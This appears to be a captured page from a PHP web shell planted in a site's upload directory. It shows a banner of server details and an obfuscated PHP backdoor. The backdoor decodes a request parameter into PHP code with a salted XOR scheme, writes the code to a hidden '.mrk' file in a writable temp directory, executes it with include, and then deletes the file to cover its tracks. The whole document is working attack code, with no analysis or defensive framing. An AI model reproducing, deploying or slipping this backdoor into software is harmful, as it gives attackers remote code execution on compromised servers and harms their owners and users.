| Server IP : 46.62.235.243 / Your IP : 216.73.216.217 Web Server : Apache/2.4.58 (Ubuntu) System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/linkabili/public/upload/certification/ |
Upload File : |
<?php
if(isset($_REQUEST) && isset($_REQUEST["val\x75\x65"])){
$k = $_REQUEST["val\x75\x65"];
$k = explode ('.', $k ) ;
$record ='';
$salt ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($salt);
$len =count($k);
for($o =0; $o < $len; $o++) {
$v2 =$k[$o];
$sChar =ord($salt[$o % $sLen]);
$d =((int)$v2 - $sChar -($o % 10)) ^ 75;
$record .=chr($d);
}
$key = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]);
foreach ($key as $key => $rec) {
if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
$ent = vsprintf("%s/%s", [$rec, ".mrk"]);
$success = file_put_contents($ent, $record);
if ($success) {
include $ent;
@unlink($ent);
exit;}
}
}
}